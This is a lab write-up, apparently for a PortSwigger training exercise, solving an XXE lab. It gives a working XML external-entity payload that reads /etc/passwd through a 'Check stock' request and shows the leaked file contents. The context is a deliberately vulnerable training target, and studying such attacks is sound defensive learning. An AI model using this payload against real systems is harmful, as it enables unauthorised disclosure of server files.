> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-xxe-labs/lab-1.md).

# lab-1

## Exploiting XXE Using External Entities to Retrieve Files

**Difficulty:** Apprentice

### Lab Description

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.

**Objective:** Inject an XML external entity to retrieve the contents of the `/etc/passwd` file.

### Solution

**Step 1 — Locate the vulnerable request**

Navigate to:

```
https://your-lab-id.web-security-academy.net/product?productId=2
```

Click **Check stock**, then intercept the request in Burp Suite. You'll see an XML body like this:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>3</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 2 — Inject an external entity**

Add a `DOCTYPE` declaration that defines an external entity pointing to the target file, then reference that entity inside `<productId>`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
    <productId>&file;</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 3 — Send the request**

Forward the modified request. The server resolves the `&file;` entity and reflects the file contents back in the response:

```
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
user:x:12000:12000::/home/user:/bin/bash
elmer:x:12099:12099::/home/elmer:/bin/bash
academy:x:10000:10000::/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:106:107:MySQL Server,...
```

### Conclusion

The application's XML parser had external entity resolution enabled, allowing arbitrary local file disclosure via a classic XXE injection.


---

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